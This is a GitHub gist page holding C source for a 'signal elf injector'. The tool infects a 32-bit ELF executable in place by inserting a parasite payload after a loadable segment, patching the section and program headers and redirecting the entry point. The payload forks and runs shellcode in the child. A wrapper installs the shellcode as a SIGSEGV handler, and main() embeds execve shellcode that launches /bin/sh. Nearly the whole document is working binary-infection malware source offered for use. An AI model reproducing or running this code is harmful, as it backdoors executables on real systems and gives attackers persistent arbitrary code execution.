Created
April 30, 2014 22:17
-
-
Save interfector/4d2b264927991eeb615f to your computer and use it in GitHub Desktop.
signal elf injector
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <string.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <fcntl.h> | |
#include <unistd.h> | |
#include <stdlib.h> | |
#include <errno.h> | |
#include <elf.h> | |
#include <signal.h> | |
#define _DEBUG | |
static | |
unsigned char sig_shellcode[] = { 0x31, 0xc0, /* xor %eax, %eax */ | |
0xb0, 0x30, /* mov $0x30, %al */ | |
0x31, 0xdb, /* xor %ebx, %ebx */ | |
0xb3, 0x0b, /* mov $0b, %ebx */ | |
0xeb, 0x05, /* jmp +4 */ | |
0x59, /* pop %ecx */ | |
0xcd, 0x80, /* int $0x80 */ | |
0xeb, 0xfe, /* jmp 0 */ | |
0xe8, 0xf6, 0xff, 0xff, 0xff /* call -4 */ | |
}; | |
int | |
inject_elfcode(char *file, unsigned char *shellcode, int size, int child) | |
{ | |
unsigned char asm_base_payload[] = { | |
0xb9, 0x00, 0x00, 0x00, 0x00, /* movl $old_entry, %ecx */ | |
0x31, 0xc0, /* xor %eax,%eax */ | |
0xb0, 0x02, /* movb $2,%al */ | |
0xcd, 0x80, /* int $0x80 */ | |
0x31, 0xdb, /* xor %ebx,%ebx */ | |
0x39, 0xc3, /* cmp %eax,%ebx */ | |
0x75, 0x02, /* jne/je jump_old_entry */ | |
0xeb, 0x02, /* jmp shellcode */ | |
0xff, 0xe1 /* jmp *%ecx ( jump_old_entry ) */ | |
}; | |
/* Code taken from evilsocket ELF32 Injector | |
* http://www.evilsocket.net | |
* | |
* START CODE | |
*/ | |
int base_size = sizeof(asm_base_payload); | |
unsigned int srcsize; | |
unsigned char * srcbuffer; | |
Elf32_Ehdr *elf_header; | |
Elf32_Phdr *program_headers; | |
Elf32_Shdr *section_headers; | |
struct stat stat; | |
int i_fd, i, move = 0, parasite_offset = 0, bss_len = 0, o_fd, zero = 0; | |
/* alloc space for base shellcode + user command */ | |
char *asm_payload = (char *)malloc( base_size + size ); | |
int asm_payload_size = base_size + size; | |
/* asm_payload = asm_base_payload + params.command */ | |
memcpy( asm_payload, asm_base_payload, base_size ); | |
memcpy( asm_payload + base_size, shellcode, size ); | |
if( !child ) | |
asm_payload[15] = 0x74; | |
if( (i_fd = open( file, O_RDWR )) < 0 ) | |
return 1; | |
if( fstat( i_fd, &stat ) < 0 ) | |
return 1; | |
srcsize = stat.st_size; | |
/* read original file into a buffer */ | |
srcbuffer = (unsigned char *)malloc( srcsize ); | |
if( read( i_fd, srcbuffer, srcsize ) != srcsize ) | |
return 1; | |
close(i_fd); | |
elf_header = (Elf32_Ehdr *)srcbuffer; | |
*(int*)&asm_payload[1] = elf_header->e_entry; | |
/* compute new elf header info and data for headers relocation */ | |
program_headers = (Elf32_Phdr *)(srcbuffer + elf_header->e_phoff); | |
for( i = 0; i < elf_header->e_phnum; i++ ) | |
{ | |
if( program_headers->p_type != PT_DYNAMIC ) | |
{ | |
if( program_headers->p_type == PT_LOAD && program_headers->p_offset ) | |
{ | |
parasite_offset = program_headers->p_offset + program_headers->p_filesz; | |
elf_header->e_entry = program_headers->p_memsz + program_headers->p_vaddr; | |
bss_len = program_headers->p_memsz - program_headers->p_filesz; | |
break; | |
} | |
} | |
++program_headers; | |
} | |
/* update elf section headers */ | |
section_headers = (Elf32_Shdr *)(srcbuffer + elf_header->e_shoff); | |
for( i = 0; i < elf_header->e_shnum; i++ ) | |
{ | |
if( section_headers->sh_offset >= parasite_offset ) | |
section_headers->sh_offset += asm_payload_size + bss_len; | |
++section_headers; | |
} | |
/* update elf program headers */ | |
program_headers = (Elf32_Phdr *)(srcbuffer + elf_header->e_phoff); | |
for( i = 0; i < elf_header->e_phnum; i++ ) | |
{ | |
if( program_headers->p_type != PT_DYNAMIC ){ | |
if(move) | |
{ | |
program_headers->p_offset += asm_payload_size + bss_len; | |
} else if( program_headers->p_type == PT_LOAD && program_headers->p_offset ) | |
{ | |
program_headers->p_filesz += asm_payload_size + bss_len; | |
program_headers->p_memsz += asm_payload_size + bss_len; | |
move = 1; | |
} | |
} | |
++program_headers; | |
} | |
/* update elf header with new parasite code offset and write relocated data to the destination file */ | |
elf_header->e_shoff += (elf_header->e_shoff >= parasite_offset ? asm_payload_size + bss_len : 0); | |
elf_header->e_phoff += (elf_header->e_phoff >= parasite_offset ? asm_payload_size + bss_len : 0); | |
if( (o_fd = open( file, O_RDWR | O_EXCL, stat.st_mode )) < 0 ) | |
return 1; | |
if( write( o_fd, srcbuffer, parasite_offset ) < 0 ) | |
return 1; | |
for( i = 0; i < bss_len; i++ ) | |
write( o_fd, &zero, 1 ); | |
if( write( o_fd, asm_payload, asm_payload_size ) < 0 ) | |
return 1; | |
if( write( o_fd, srcbuffer + parasite_offset, stat.st_size - parasite_offset ) < 0 ) | |
return 1; | |
close(o_fd); | |
free(srcbuffer); | |
return 0; | |
/* END CODE */ | |
} | |
int | |
inject_elf_signal( char* file, unsigned char* shellcode, int size, int signal ) | |
{ | |
unsigned char* asm_payload = malloc( sizeof(sig_shellcode) + size ); | |
memcpy( asm_payload, sig_shellcode, sizeof(sig_shellcode) ); | |
memcpy( asm_payload + sizeof(sig_shellcode), shellcode, size ); | |
asm_payload[7] = *((unsigned char*)&signal); | |
return inject_elfcode(file, asm_payload, sizeof(sig_shellcode) + size, 0); | |
} | |
int | |
main(int argc,char **argv) | |
{ | |
char shellcode[] = /*\x31\xc0\xb0\x30\x31\xdb\xb3\x0b\xeb\x05\x59\xcd\x80\xeb\xfe\xe8\xf6\xff\xff\xff*/"\x90\x60\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x68\x2d\x63\x63\x63\x89\xe1\x52\xeb\x07\x51\x53\x89\xe1\xcd\x80\x61\xe8\xf4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; | |
inject_elf_signal( argv[1], shellcode, sizeof(shellcode) - 1, SIGSEGV ); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment